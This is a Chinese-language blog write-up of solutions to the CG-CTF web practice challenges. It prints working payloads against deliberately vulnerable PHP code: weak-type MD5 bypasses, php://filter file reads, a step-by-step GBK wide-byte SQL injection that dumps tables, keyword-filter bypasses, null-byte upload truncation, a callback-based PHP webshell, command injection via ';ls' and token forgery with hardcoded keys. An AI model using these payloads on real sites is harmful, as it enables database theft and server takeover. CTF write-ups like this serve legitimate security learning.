Yoga7xm's Blog

CG-CTF WriteUp

字数统计: 5.3k阅读时长: 24 min
2018/11/17 Share

0x01 前言

前段时间把实验吧的入门ctf练了一遍,想继续深入ctf,于是选择了比较基础的南邮的ctf题目(CG-CTF),于是写个Writeup记录下学习过程。

0x02 Write Up

签到题

直接查看源代码即可获取flag

md5 collision

1
2
3
4
5
6
7
8
9
10
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}

查看代码,传递一个参数,使得其md5值==给出的值,并且QNKCDZO的md5值为0e开头的,根据php弱类型性质,只要传入的参数的md5值也为0e开头的即可,这里我们使用s155964671a 即可获得flag

签到2

查看源代码,可知zhimakaimen的长度比其标签给的最大长度大,于是用F12修改,然后输入提交即可

这题不是WEB

打开网站,将其中gif图片下载,本地用记事本打开即可获取flag

层层递进

只要打开源代码,查找里头的iframe标签,逐渐溯源so.html,最终在404.html源代码中找到flag。

AAencode

此题链接:传送门

首先,

什么是jjencode?

​ 将JS代码转换成只有符号的字符串

什么是aaencode?

​ 将JS代码转换成常用的网络表情

解密方法其实挺简单的,只需将其输入至开发者工具中控制台,即可解密。

此处我们利用aaencode加解密网站 即可得到flag

单身二十年

老办法查看源代码,查看a标签内网址源代码即可

php decode

给出的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function CLsI($ZzvSWE) {

$ZzvSWE = gzinflate(base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++) {

$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}

return $ZzvSWE;

}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

此处只需将最后eval改成echo,本地运行即可解密获得flag

文件包含

此题存在文件包含内容,只要利用php的伪协议中的filiter协议读取index.php的源码

payload: php://filter/read=convert.base64-encode/resource=index.php

就可获取经过base64编码后的源码,只需解码即可获取flag

单身一百年也没用

利用burp抓包,flag藏在返回头中

Download~!

这题404,emmmmmmm 但是据网上的Writeup记载:

只要下载download.php文件,查看代码即可获取flag

打开bp抓包,将cookie头部值改为非0即可

MYSQL

robots.txt文件泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
TIP:sql.php
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>

这段代码的作用传入id,并且要求id取整后为1024,于是只需提交1024.1即可获得flag

GBK Injection

提交id=1'可发现select id,title from news where id = '1\'',单引号被转义,说明可能使用了addslashes() 函数,可能存在宽字节注入漏洞。

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节,即将两个ascii字符误认为是一个宽字节字符 .

其中,PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

假如,提交的是%df' ,经过转义之后变成%df'/=%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,MySQL用GBK的编码时, 就会认为 %df%5c 是一个宽字符,也就是,也就是说%df\’ = %df%5c%27=縗’,有了单引号就好注入了

于是构造payload:

1
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df'--+

返回 your sql:select id,title from news where id = '運'-- '可以发现已经bypass了

开始注入得数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1.猜字段数
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' order by 2--+
2. 爆数据库名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' and 1=2 union select 1,database()--+
sae-chinalover
3.爆表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' and 1=2 union select 1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x7361652d6368696e616c6f766572)--+
ctf
ctf2
ctf3
ctf4
news
4.爆ctf4列名(查询了所有表发现只有ctf4存在flag表)
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' and 1=2 union select 1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x63746634)--+
id
flag
5.爆数据得flag
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' and 1=2 union select 1,flag from ctf4--+
nctf{gbk_3sqli}

/x00

部分关键源码:

1
2
3
4
5
6
7
8
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}

要求是只能用数字+$符号输入一个包含#biubiubiu的字符串。由于ereg()函数存在00截断漏洞,于是构造payload:

1
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu

bypass again

部分关键源码:

1
2
3
4
5
6
7
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

目的是传入两个不同的值,但是要求其md5值一致。

但是使用了==弱类型,只要找到两个字符串的md5值是以0e开头的即可

payload:

1
http://chinalover.sinaapp.com/web17/index.php?a=QNKCDZO&b=s155964671a

变量覆盖

部分关键源码:

1
2
3
4
5
6
7
8
9
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>

只要pass值等于thepassword_123即可获得flag

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

由于thepassword_123并未初始化,于是可以post传递数据将其初始化

php是世界上最好的语言

链接挂了。。emmmm。。

网上的Writeup中index.txt代码为:

1
2
3
4
5
6
7
8
9
10
11
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}

作用是将用户传入的值先进行URLdecode() ,然后判断是否等于hackerDJ

此处可以利用二次url编码,因为php会自动解码一次,然后再次函数解码正好为所需字符串

伪装者

需要本地登录,于是修改http请求头,祭出所有有关的头

1
2
3
4
5
6
7
8
9
client-ip: 127.0.0.1
x-forwarded-for: 127.0.0.1
x-originating-IP: 127.0.0.1
x-remote-IP: 127.0.0.1
x-remote-addr: 127.0.0.1
x-client-ip: 127.0.0.1
x-client-IP: 127.0.0.1
X-Real-Ip: 127.0.0.1
x-real-ip: 127.0.0.1

链接又挂了。。。。可以猜出flag可能就在http请求头或者响应头中

上传绕过

随意上传一个文件,返回必须上传成后缀名为php的文件才行啊!报错信息

于是bp抓包,改包00截断一波

原理:

在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束。利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞。通过抓包截断将【1.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【1.php.jpg】的内容写入到【1.php】中,从而达到攻击的目的。 (0x00是16进制值,不可见。

SQL注入1

部分关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>

关键sql语句:select user from ctf where (user='".$user."') and (pw='".$pass."')

其中user是post传入的值,而pass是传入pass值的md5值

于是可以构造payload:

select user from ctf where (user='admin') and 1=1 # ) and (pw='".$pass."')

user=admin') and 1=1 #&pass=可获得flag

pass check

部分关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

其中strcmp()假如传入一个数组,返回null

于是提交pass[]=1 即可获得flag

起名字真难

部分关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

代码要求是,传入的key不能存在数字而且要等于54975581388

于是考虑使用编码解决,hex{54975581388}=0xccccccccc

密码重置

bp抓包改包,

将user和user1的值改为admin和其base64编码后的值即可。

php 反序列化

此题暂时无法做。。emmmm

查看部分关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];

if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

考查的是php反序列化后,enter要等于secret等于”*”

本地写一段代码

1
2
3
4
5
6
<?php 
$arr['secret']="*";
$arr['enter']="*";
$ser=serialize($arr);
print_r($ser);
?>

结果输出为,a:2:{s:6:"secret";s:1:"*";s:5:"enter";s:1:"*";}

于是提交

1
http://localhost/a.php?pass=a:2:{s:6:%22secret%22;s:1:%22*%22;s:5:%22enter%22;s:1:%22*%22;}

返回 Congratulation! Here is my secret:

SQL Injection

查看部分关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

echo $flag;
?>

代码中clean()功能是转义单双引号。

关键的sql语句为:SELECT * FROM users WHERE name='$username' AND pass='$password';

可以构造payload:

SELECT * FROM users WHERE name='\' AND pass='or 1=1--+' ;

其中\''转义了,也就是 '\' AND pass='是一个值为False的整体,而后头为真

于是提交:

1
http://chinalover.sinaapp.com/web15/index.php?username=\&password=or 1=1--+

获得flag

综合题

进去网站可以发现,内容经过jjecode编码,在浏览器控制台内即可解码。

得到1bc29b36f623ba82aaf6724fd3b16718.php于是访问该文件。

可以发现tips藏在响应头中

Bash shell在“/.bash_history”(“/”表示用户目录)文件中保存了500条使用过的命令,这样可以使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。

于是访问.bash_history文件

发现了,系统管理员执行过zip -r flagbak.zip ./*命令,于是访问flagbak.zip可将此下载下来,打开其中的flag.txt即可获得flag

system

emmmmm 依旧暂时无法做

SQL注入2

Tip:考察联合查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

其中要求用户输入的pass的md5值能与sql查询出的数据一致,

关键sql语句 select pw from ctf where user='$user',于是

可以利用union select 构造payload:

1
select pw from ctf where user='' uonion select 	807659cd883fc0a63f6ce615893b3558 --+ #为yoga的md5值

为了只是查询出的807659cd883fc0a63f6ce615893b3558与传入的pass=yoga后md5值一致

提交user=’ uonion select 807659cd883fc0a63f6ce615893b3558 –+&pass=yoga即可获得flag。

综合题2

这道题比较麻烦,借鉴了好几个师傅的WP.

第一步,先进行一波目录文件的收集

查看最底下的本CMS说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
很明显,这是安装后留下来忘删除的文件。。。
至于链接会出现在主页上,这就要问管理员了。。。

===============================华丽的分割线=============================

本CMS由Funny公司开发的公司留言板系统,据本技术总监说,此CMS采用国际
顶级的技术所开发,安全性和实用性杠杠滴~&lt;/br&gt;

以下是本CMS各文件的功能说明(由于程序猿偷懒,只列了部分文件)
config.php:存放数据库信息,移植此CMS时要修改
index.php:主页文件
passencode.php:Funny公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本CMS的说明文档


sae的information_schema表好像没法检索,我在这里给出admin表结构
create table admin (
id integer,
username text,
userpass text,
)

从里面可以发现,几个php文件,数据库admin表结构。

观察URL发现http://cms.nuptzj.cn/about.php?file=sm.txt,可能存在文件包含漏洞

依次获取config.phpindex.phppassencode.phpsay.phpabout.php源码,并且发现了so.phppreview.php

passencode.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
function passencode($content){ //$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=""){
$pass=$pass." ".(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?>

发现是用ASCII码进行编码

abount.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}

发现了一个新的目录\loginxlcteam\,打开发现是一个后台登陆网站

so.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php  
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>

很明显,首先得改User-Agent头信息,然后根据sql注入将帐号密码爆出,登入 后台拿shell

但是此处,id值被antiinject.php处理了,于是查看源码

antiinject.php

1
2
3
4
5
6
7
8
9
<?php 
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info; }
?>

很明显过滤好几个关键字和单双引号、空格、等号之类的,但是这种过滤方式可以通过双层嵌套进行ByPass,而且空格可以用/**/绕过

第二步,开始对so.php进行一波注入

首先得修改User-Agent: Xlcteam Browser,然后通过order by获取字段数

紧接着提交soid=0/**/unUNIONion/**/seSELECTlect/**/1,2,3,4 爆出回显值

由于sm.txt已经泄漏出数据库表结构,于是直接post提交

1
soid=0//ununionion//selselectect//1,usernaNAMEme,userpaPASSss,4//froFROMm/**/adADMINmin

爆出数据

通过上面分析可以得知,密码是通过ACSII编码了,于是解码后得到admin:fuckruntu

利用帐号密码直接登录,但是事情并没有这么简单。。

依旧利用about.php读小马源码:

1
2
3
4
5
<?php 
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

发现是一个通过回调函数构造的一句话木马,而且是三参数的。详细博客

根据文章中的利用方式提交,成功执行php语句

于是利用php中的scandir()方法查看本目录下所有文件名,发现一个惊喜

打开此文件即可获得flag

密码重置2

TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass

首先查看源码,发现了一个小惊喜

接着分别尝试.index.php.swp.submit.php.swp,只由后者存在

部分关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}
?>

根据Tips的提示,提交token=0e12345678,即可获得flag

file_get_contents

部分关键源码:

1
2
3
4
5
6
<?php
$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
echo $nctf;
}
?>

php中file_get_contents()函数是个非常危险的函数,它支持多种php伪协议。

其中,php://input可以将post数据作为php代码解析执行

于是提交file=php://input,post内容:meizijiu,即可获得flag

变量覆盖

部分关键源码:

1
2
3
4
5
6
7
<?php
foreach($_GET as $key => $value){
$$key = $value;
}
if($name == "meizijiu233"){
echo $flag;
?>

直接提交 name=meizijiu233 即可。

注意!!

这题只是找下存在感维护版权而已,直接提交就好啦

HateIT

这题…..emmmm…..咋说呢,超出目前能力范围,主要涉及了逆向方面的解密。

扫下目录,发现robots.txt、admin.php、upload/upload.php、.git/文件

打开robots.txt,可以下载一个suenc.so 加密扩展文件,用来解密的。

利用git源码泄漏,可以使用 dvcs-ripper 工具将 git 文件下载下来

(不知道为啥Githack.py只能下载一个文件。。。)

1
2
3
4
5
6
./rip-git.pl -v -u http://45.76.173.177:23333/.git/ -o hateit
git log
git reset --hard e8c568beb7dca2bcb6b0801414d4dd2979219789
ls

admin.php class.php func.php hg-decode.pl LICENSE opcode.txt rip-bzr.pl rip-cvs.pl rip-git.pl rip-hg.pl rip-svn.pl

利用解密文件,部分关键源码:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
if(!isset($_SESSION))
{
session_start();
}
echo '...这部分前端内容我就省略不贴了...';
include_once('func.php');
if(isset($_GET['username']))
{
$username = $_GET['username'];
$md5 = md5(get_identify().$username);
$admin = 0;
$token = encrypt($username.'|'.$admin.'|'.$md5);
$_SESSION['sign'] = $md5;
$_SESSION['token'] = $token;
}
showImage(); if(isset($_GET['token']) && isset($_GET['sign']))
{
$token = $_GET['token'];
$sign = $_GET['sign']; echo 'sign : '.$sign.'<br>'; echo 'token: '.$token.'<br>';
$info = explode('|', decrypt($token)); echo decrypt($token);
var_dump($info); if(count($info) == 3)
{ if(md5(get_identify().$info[0]) == $info[2])
{
$sign = $info[1];
$admin = $info[1];
}else{
$admin = $info[1];
}
}

}else{ if(isset($_SESSION['token']) && isset($_SESSION['sign']))
{ echo 'sign : '.$_SESSION['sign'].'<br>'; echo 'token: '.$_SESSION['token'].'<br>';
$token = $_SESSION['token'];
$sign = $_SESSION['sign'];
$info = explode('|', decrypt($token)); if(count($info) == 3)
{ if(md5(get_identify().$info[0]) == $info[2])
{
$sign = $info[1];
$admin = $info[1];

}else{
$admin = $info[1];
} echo '<br>'.$admin;
}


}
} if(isset($admin) && $admin == 3)
{
$_SESSION['auth'] = 'admin'; echo "<a href='admin.php'>Admin</a>";
}

先看index.php,这里会将$token解密,如果$admin==3就有权限访问admin.php,我们指定$admin=3,然后在本地生成加密 token 然后访问:

1
http://45.76.173.177:23333/?sign=30dd01f4a4aeb5598d20ce3084e120a5&token=YmMxNWI3MzY5MmFjZTA0NzExMzQwMjBhMDNiNGFhODYyZWVjNDQ1ZWY5NjI4ZDQ5NWI3YWE4OGFhNmZkNTg2OWQ0ZTdmYjg4ZTVlMjQ4Mjg5N2JhNWY5NDJjM2FjYzI4

就可以用admin的session进入下一步,审计admin发现,并未对file的值进行过滤,于是存命令执行。

func_decode.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
define("KEY","8690475385984657");
define("method","aes-128-cfb");
define("BS",16);
define("IDENTIFY","9850375038");

function getkey(){
return KEY;
}

function get_identify(){
return IDENTIFY;
}

function get_token(){
$token = '';
for($i=0;$i<16;$i++){
$token .= chr(rand(1,255));
}
return $token;
}

function to($str) {
return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS));
}

function encrypt($str){
$key = getkey();
srand(time() / 300);
$token = get_token();
$cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token));
return base64_encode($cipher);
}

$username = 'qwer';
$md5 = md5(get_identify().$username);
$admin = '3';
$token = encrypt($username . '|' . $admin . '|' . $md5);
echo $token;
echo "\n";
?>

构造命令执行admin.php?action=viewImage&file=;ls查看的当前目录文件

最后flag在/etc/目录下。

Anonymous

部分关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);
?>

顾名思义,这道题考查匿名函数,create_function()

  1. 获取参数, 函数体;
  2. 拼凑一个”function _lambda func (参数) { 函数体;} “的字符串;
  3. eval;
  4. 通过 _lambda func在函数表中找到eval后得到的函数体, 找不到就出错;
  5. 定义一个函数名:”\000 lambda ” . count(anonymous_functions)++;
  6. 用新的函数名替换 _lambda func;
  7. 返回新的函数。

实例:

1
2
3
4
5
6
7
8
9
<?php  
$id = $_GET['id'];
$q = 'echo'.$id.'is'.$a.";";
$sy = create_function('$a',$q);
?>
这个匿名函数相当于这样的创建函数过程:
function niming($a){
echo $id.'is'.$a;
}

于是乎,假如提交id=1;}phpinfo();/*访问,就会

很明显,存在命令执行漏洞。

回到题目,由于会定义一个函数名:\x00lambda_%d其中%d是逐渐递增的,表示当前进程中第几个进程,于是可以利用bp来爆破,找到%d值,就可以执行函数拿到flag了

设置参数,然后payload设为1-10000

然后payload设为1-10000,开始爆破

运气还不错,在956处找到flag


0x03 Idea

​ 通过这俩三天的练习入门,发现了原来学习漏洞原理时只是囫囵吞枣式的,存在很多的只是盲点误区,正好CTF题目能加深对这些漏洞的理解,使得各种技术技巧得到真实的运用 ,这也为后来自己在渗透方面打下一些基础。这段时间,我可能继续会深入学习探究CTF的,

最后,goSpursgo!!! 已经三连跪了,而且4,5.6.7.8连跪都可能.jpg


0x04 Reference

1.CG-CTF-web篇零基础指南

2.SUCTF

3.php伪协议实现命令执行的七种姿势

4.南邮CTF-WEB-writeup

5.深入理解PHP之匿名函数

CATALOG
  1. 1. 0x01 前言
  2. 2. 0x02 Write Up
    1. 2.1. 签到题
    2. 2.2. md5 collision
    3. 2.3. 签到2
    4. 2.4. 这题不是WEB
    5. 2.5. 层层递进
    6. 2.6. AAencode
    7. 2.7. 单身二十年
    8. 2.8. php decode
    9. 2.9. 文件包含
    10. 2.10. 单身一百年也没用
    11. 2.11. Download~!
    12. 2.12. COOKIE
    13. 2.13. MYSQL
    14. 2.14. GBK Injection
    15. 2.15. /x00
    16. 2.16. bypass again
    17. 2.17. 变量覆盖
    18. 2.18. php是世界上最好的语言
    19. 2.19. 伪装者
    20. 2.20. Header
    21. 2.21. 上传绕过
    22. 2.22. SQL注入1
    23. 2.23. pass check
    24. 2.24. 起名字真难
    25. 2.25. 密码重置
    26. 2.26. php 反序列化
    27. 2.27. SQL Injection
    28. 2.28. 综合题
    29. 2.29. system
    30. 2.30. SQL注入2
    31. 2.31. 综合题2
    32. 2.32. 密码重置2
    33. 2.33. file_get_contents
    34. 2.34. 变量覆盖
    35. 2.35. 注意!!
    36. 2.36. HateIT
    37. 2.37. Anonymous
  3. 3. 0x03 Idea
  4. 4. 0x04 Reference